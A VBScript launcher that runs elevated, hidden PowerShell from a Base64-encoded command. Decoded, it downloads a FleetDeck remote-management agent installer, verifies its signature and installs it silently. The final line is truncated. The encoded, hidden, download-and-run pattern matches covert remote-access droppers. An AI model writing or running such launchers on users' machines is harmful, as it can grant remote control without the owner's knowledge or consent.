Option Explicit

Dim shell
Dim command

Set shell = CreateObject("Shell.Application")

command = "-NoProfile -WindowStyle Hidden -EncodedCommand JABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAdABvAHAAJwAKAAoAJABEAGUAcABsAG8AeQBtAGUAbgB0AFUAcgBsACAAPQAgACcAaAB0AHQAcABzADoALwAvAGEAZwBlAG4AdAAuAGYAbABlAGUAdABkAGUAYwBrAC4AaQBvAC8ATgBNAFIAVgBYAHAAVgAxAEcAaQBEAGEAegB5AHgAVQB6AHcATgA2ADcAaQA/AHcAaQBuACcACgAkAEwAbwBnAEYAaQBsAGUAIAA9ACAASgBvAGkAbgAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABFAE0AUAAgACcARgBsAGUAZQB0AEQAZQBjAGsALQBEAGUAcABsAG8AeQBtAGUAbgB0AC4AbABvAGcAJwAKACQASQBuAHMAdABhAGwAbABlAHIAIAA9ACAASgBvAGkAbgAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABFAE0AUAAgACcARgBsAGUAZQB0AEQAZQBjAGsALQBBAGcAZQBuAHQALQBEAGUAcABsAG8AeQBtAGUAbgB0AC4AZQB4AGUAJwAKAAoAdAByAHkAIAB7AAoAIAAgACAAIAAiAEYAbABlAGUAdABEAGUAYwBrACAAZABlAHAAbABvAHkAbQBlAG4AdAAgAHMAdABhAHIAdABlAGQAOgAgACQAKABHAGUAdAAtAEQAYQB0AGUAKQAiACAAfAAKACAAIAAgACAAIAAgACAAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQATABvAGcARgBpAGwAZQAgAC0ARQBuAGMAbwBkAGkAbgBnACAAVQBUAEYAOAAKAAoAIAAgACAAIABbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsACAAPQAgAFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyAAoACgAgACAAIAAgAGkAZgAgACgAVABlAHMAdAAtAFAAYQB0AGgAIAAkAEkAbgBzAHQAYQBsAGwAZQByACkAIAB7AAoAIAAgACAAIAAgACAAIAAgAFIAZQBtAG8AdgBlAC0ASQB0AGUAbQAgACQASQBuAHMAdABhAGwAbABlAHIAIAAtAEYAbwByAGMAZQAKACAAIAAgACAAfQAKAAoAIAAgACAAIAAiAEQAbwB3AG4AbABvAGEAZABpAG4AZwAgAGkAbgBzAHQAYQBsAGwAZQByAC4ALgAuACIAIAB8AAoAIAAgACAAIAAgACAAIAAgAE8AdQB0AC0ARgBpAGwAZQAgAC0ARgBpAGwAZQBQAGEAdABoACAAJABMAG8AZwBGAGkAbABlACAALQBBAHAAcABlAG4AZAAgAC0ARQBuAGMAbwBkAGkAbgBnACAAVQBUAEYAOAAKAAoAIAAgACAAIAAkAFIAZQBxAHUAZQBzAHQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4ASAB0AHQAcABXAGUAYgBSAGUAcQB1AGUAcwB0AF0AOgA6AEMAcgBlAGEAdABlACgAJABEAGUAcABsAG8AeQBtAGUAbgB0AFUAcgBsACkACgAgACAAIAAgACQAUgBlAHEAdQBlAHMAdAAuAE0AZQB0AGgAbwBkACAAPQAgACcARwBFAFQAJwAKACAAIAAgACAAJABSAGUAcQB1AGUAcwB0AC4AQQBsAGwAbwB3AEEAdQB0AG8AUgBlAGQAaQByAGUAYwB0ACAAPQAgACQAdAByAHUAZQAKACAAIAAgACAAJABSAGUAcQB1AGUAcwB0AC4AVABpAG0AZQBvAHUAdAAgAD0AIAAxADIAMAAwADAAMAAKACAAIAAgACAAJABSAGUAcQB1AGUAcwB0AC4AUgBlAGEAZABXAHIAaQB0AGUAVABpAG0AZQBvAHUAdAAgAD0AIAAxADIAMAAwADAAMAAKAAoAIAAgACAAIAAkAFIAZQBzAHAAbwBuAHMAZQAgAD0AIAAkAFIAZQBxAHUAZQBzAHQALgBHAGUAdABSAGUAcwBwAG8AbgBzAGUAKAApAAoACgAgACAAIAAgAHQAcgB5ACAAewAKACAAIAAgACAAIAAgACAAIAAkAEYAaQBuAGEAbABVAHIAaQAgAD0AIAAkAFIAZQBzAHAAbwBuAHMAZQAuAFIAZQBzAHAAbwBuAHMAZQBVAHIAaQAKAAoAIAAgACAAIAAgACAAIAAgAGkAZgAgACgACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAEYAaQBuAGEAbABVAHIAaQAuAFMAYwBoAGUAbQBlACAALQBuAGUAIAAnAGgAdAB0AHAAcwAnACAALQBvAHIACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAoAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAEYAaQBuAGEAbABVAHIAaQAuAEgAbwBzAHQAIAAtAG4AZQAgACcAZgBsAGUAZQB0AGQAZQBjAGsALgBpAG8AJwAgAC0AYQBuAGQACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACEAJABGAGkAbgBhAGwAVQByAGkALgBIAG8AcwB0AC4ARQBuAGQAcwBXAGkAdABoACgACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJwAuAGYAbABlAGUAdABkAGUAYwBrAC4AaQBvACcALAAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAFMAeQBzAHQAZQBtAC4AUwB0AHIAaQBuAGcAQwBvAG0AcABhAHIAaQBzAG8AbgBdADoAOgBPAHIAZABpAG4AYQBsAEkAZwBuAG8AcgBlAEMAYQBzAGUACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACkACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAApAAoAIAAgACAAIAAgACAAIAAgACkAIAB7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAdABoAHIAbwB3ACAAIgBEAG8AdwBuAGwAbwBhAGQAIAByAGUAZABpAHIAZQBjAHQAZQBkACAAdABvACAAYQBuACAAdQBuAGEAcABwAHIAbwB2AGUAZAAgAGQAbwBtAGEAaQBuAC4AIgAKACAAIAAgACAAIAAgACAAIAB9AAoACgAgACAAIAAgACAAIAAgACAAJABJAG4AcAB1AHQAUwB0AHIAZQBhAG0AIAA9ACAAJABSAGUAcwBwAG8AbgBzAGUALgBHAGUAdABSAGUAcwBwAG8AbgBzAGUAUwB0AHIAZQBhAG0AKAApAAoAIAAgACAAIAAgACAAIAAgACQATwB1AHQAcAB1AHQAUwB0AHIAZQBhAG0AIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAQwByAGUAYQB0AGUAKAAkAEkAbgBzAHQAYQBsAGwAZQByACkACgAKACAAIAAgACAAIAAgACAAIAB0AHIAeQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAEkAbgBwAHUAdABTAHQAcgBlAGEAbQAuAEMAbwBwAHkAVABvACgAJABPAHUAdABwAHUAdABTAHQAcgBlAGEAbQApAAoAIAAgACAAIAAgACAAIAAgAH0ACgAgACAAIAAgACAAIAAgACAAZgBpAG4AYQBsAGwAeQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAE8AdQB0AHAAdQB0AFMAdAByAGUAYQBtAC4ARABpAHMAcABvAHMAZQAoACkACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAEkAbgBwAHUAdABTAHQAcgBlAGEAbQAuAEQAaQBzAHAAbwBzAGUAKAApAAoAIAAgACAAIAAgACAAIAAgAH0ACgAgACAAIAAgAH0ACgAgACAAIAAgAGYAaQBuAGEAbABsAHkAIAB7AAoAIAAgACAAIAAgACAAIAAgACQAUgBlAHMAcABvAG4AcwBlAC4AQwBsAG8AcwBlACgAKQAKACAAIAAgACAAfQAKAAoAIAAgACAAIABpAGYAIAAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgACQASQBuAHMAdABhAGwAbABlAHIAKQApACAAewAKACAAIAAgACAAIAAgACAAIAB0AGgAcgBvAHcAIAAiAEkAbgBzAHQAYQBsAGwAZQByACAAZABvAHcAbgBsAG8AYQBkACAAZgBhAGkAbABlAGQALgAiAAoAIAAgACAAIAB9AAoACgAgACAAIAAgACQARgBpAGwAZQAgAD0AIABHAGUAdAAtAEkAdABlAG0AIAAkAEkAbgBzAHQAYQBsAGwAZQByAAoACgAgACAAIAAgAGkAZgAgACgAJABGAGkAbABlAC4ATABlAG4AZwB0AGgAIAAtAGwAdAAgADEAMAAwADAAMAAwACkAIAB7AAoAIAAgACAAIAAgACAAIAAgAHQAaAByAG8AdwAgACIARABvAHcAbgBsAG8AYQBkAGUAZAAgAGkAbgBzAHQAYQBsAGwAZQByACAAaQBzACAAdQBuAGUAeABwAGUAYwB0AGUAZABsAHkAIABzAG0AYQBsAGwALgAiAAoAIAAgACAAIAB9AAoACgAgACAAIAAgACIARABvAHcAbgBsAG8AYQBkAGUAZAAgAGYAaQBsAGUAIABzAGkAegBlADoAIAAkACgAJABGAGkAbABlAC4ATABlAG4AZwB0AGgAKQAiACAAfAAKACAAIAAgACAAIAAgACAAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQATABvAGcARgBpAGwAZQAgAC0AQQBwAHAAZQBuAGQAIAAtAEUAbgBjAG8AZABpAG4AZwAgAFUAVABGADgACgAKACAAIAAgACAAIwAgAFYAZQByAGkAZgB5ACAAQQB1AHQAaABlAG4AdABpAGMAbwBkAGUAIABzAGkAZwBuAGEAdAB1AHIAZQAuAAoAIAAgACAAIAAkAFMAaQBnAG4AYQB0AHUAcgBlACAAPQAgAEcAZQB0AC0AQQB1AHQAaABlAG4AdABpAGMAbwBkAGUAUwBpAGcAbgBhAHQAdQByAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQASQBuAHMAdABhAGwAbABlAHIACgAKACAAIAAgACAAaQBmACAAKAAkAFMAaQBnAG4AYQB0AHUAcgBlAC4AUwB0AGEAdAB1AHMAIAAtAG4AZQAgACcAVgBhAGwAaQBkACcAKQAgAHsACgAgACAAIAAgACAAIAAgACAAdABoAHIAbwB3ACAAIgBJAG4AcwB0AGEAbABsAGUAcgAgAHMAaQBnAG4AYQB0AHUAcgBlACAAaQBzACAAaQBuAHYAYQBsAGkAZAA6ACAAJAAoACQAUwBpAGcAbgBhAHQAdQByAGUALgBTAHQAYQB0AHUAcwApACIACgAgACAAIAAgAH0ACgAKACAAIAAgACAAJABQAHUAYgBsAGkAcwBoAGUAcgAgAD0AIAAkAFMAaQBnAG4AYQB0AHUAcgBlAC4AUwBpAGcAbgBlAHIAQwBlAHIAdABpAGYAaQBjAGEAdABlAC4AUwB1AGIAagBlAGMAdAAKAAoAIAAgACAAIAAiAFYAZQByAGkAZgBpAGUAZAAgAHMAaQBnAG4AZQByADoAIAAkAFAAdQBiAGwAaQBzAGgAZQByACIAIAB8AAoAIAAgACAAIAAgACAAIAAgAE8AdQB0AC0ARgBpAGwAZQAgAC0ARgBpAGwAZQBQAGEAdABoACAAJABMAG8AZwBGAGkAbABlACAALQBBAHAAcABlAG4AZAAgAC0ARQBuAGMAbwBkAGkAbgBnACAAVQBUAEYAOAAKAAoAIAAgACAAIAAiAFMAdABhAHIAdABpAG4AZwAgAGkAbgBzAHQAYQBsAGwAZQByAC4ALgAuACIAIAB8AAoAIAAgACAAIAAgACAAIAAgAE8AdQB0AC0ARgBpAGwAZQAgAC0ARgBpAGwAZQBQAGEAdABoACAAJABMAG8AZwBGAGkAbABlACAALQBBAHAAcABlAG4AZAAgAC0ARQBuAGMAbwBkAGkAbgBnACAAVQBUAEYAOAAKAAoAIAAgACAAIAAjACAARgBsAGUAZQB0AEQAZQBjAGsAIABzAGkAbABlAG4AdAAgAGkAbgBzAHQAYQBsAGwAYQB0AGkAbwBuACAAbwBwAHQAaQBvAG4ALgAKACAAIAAgACAAJABQAHIAbwBjAGUAcwBzACAAPQAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIABgAAoAIAAgACAAIAAgACAAIAAgAC0ARgBpAGwAZQBQAGEAdABoACAAJABJAG4AcwB0AGEAbABsAGUAcgAgAGAACgAgACAAIAAgACAAIAAgACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACcALQBzAGkAbABlAG4AdAAnACAAYAAKACAAIAAgACAAIAAgACAAIAAtAFcAYQBpAHQAIABgAAoAIAAgACAAIAAgACAAIAAgAC0AUABhAHMAcwBUAGgAcgB1AAoACgAgACAAIAAgACIASQBuAHMAdABhAGwAbABlAHIAIABlAHgAaQB0ACAAYwBvAGQAZQA6ACAAJAAoACQAUAByAG8AYwBlAHMAcwAuAEUAeABpAHQAQwBvAGQAZQApACIAIAB8AAoAIAAgACAAIAAgACAAIAAgAE8AdQB0AC0ARgBpAGwAZQAgAC0ARgBpAGwAZQBQAGEAdABoACAAJABMAG8AZwBGAGkAbABlACAALQBBAHAAcABlAG4AZAAgAC0ARQBuAGMAbwBkAGkAbgBnACAAVQBUAEYAOAAKAAoAIAAgACAAIABpAGYAIAAoACQAUAByAG8AYwBlAHMAcwAuAEUAeABpAHQAQwBvAGQAZQAgAC0AbgBlACAAMAApACAAewAKACAAIAAgACAAIAAgACAAIAB0AGgAcgBvAHcAIAAiAEkAbgBzAHQAYQBsAGwAZQByACAAcgBlAHQAdQByAG4AZQBkACAAZQB4AGkAdAAgAGMAbwBkAGUAIAAkACgAJABQAHIAbwBjAGUAcwBzAC4ARQB4AGkAdABDAG8AZABlACkALgAiAAoAIAAgACAAIAB9AAoACgAgACAAIAAgACIASQBuAHMAdABhAGwAbABhAHQAaQBvAG4AIABjAG8AbQBwAGwAZQB0AGUAZAA6ACAAJAAoAEcAZQB0AC0ARABhAHQAZQApACIAIAB8AAoAIAAgACAAIAAgACAAIAAgAE8AdQB0AC0ARgBpAGwAZQAgAC0ARgBpAGwAZQBQAGEAdABoACAAJABMAG8AZwBGAGkAbABlACAALQBBAHAAcABlAG4AZAAgAC0ARQBuAGMAbwBkAGkAbgBnACAAVQBUAEYAOAAKAAoAIAAgACAAIABlAHgAaQB0ACAAMAAKAH0ACgBjAGEAdABjAGgAIAB7AAoAIAAgACAAIAAkAE0AZQBzAHMAYQBnAGUAIAA9ACAAJABfAC4ARQB4AGMAZQBwAHQAaQBvAG4ALgBNAGUAcwBzAGEAZwBlAAoACgAgACAAIAAgACIARQBSAFIATwBSADoAIAAkAE0AZQBzAHMAYQBnAGUAIgAgAHwACgAgACAAIAAgACAAIAAgACAATwB1AHQALQBGAGkAbABlACAALQBGAGkAbABlAFAAYQB0AGgAIAAkAEwAbwBnAEYAaQBsAGUAIAAtAEEAcABwAGUAbgBkACAALQBFAG4AYwBvAGQAaQBuAGcAIABVAFQARgA4AAoACgAgACAAIAAgAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAiACIACgAgACAAIAAgAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAiAEYAbABlAGUAdABEAGUAYwBrACAAaQBuAHMAdABhAGwAbABhAHQAaQBvAG4AIABmAGEAaQBsAGUAZAAuACIACgAgACAAIAAgAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAkAE0AZQBzAHMAYQBnAGUACgAgACAAIAAgAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAiACIACgAgACAAIAAgAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAiAEwAbwBnADoAIAAkAEwAbwBnAEYAaQBsAGUAIgAKAAoAIAAgACAAIABSAGUAYQBkAC0ASABvAHMAdAAgACIAUAByAGUAcwBzACAARQBuAHQAZQByACAAdABvACAAYwBsAG8AcwBlACIACgAgACAAIAAgAGUAeABpAHQAIAAxAAoAfQA="

shell.ShellExecute _
    "powershell.exe", _
    command, _
    "", _
    "runas", _
    0

Set shell = Nothin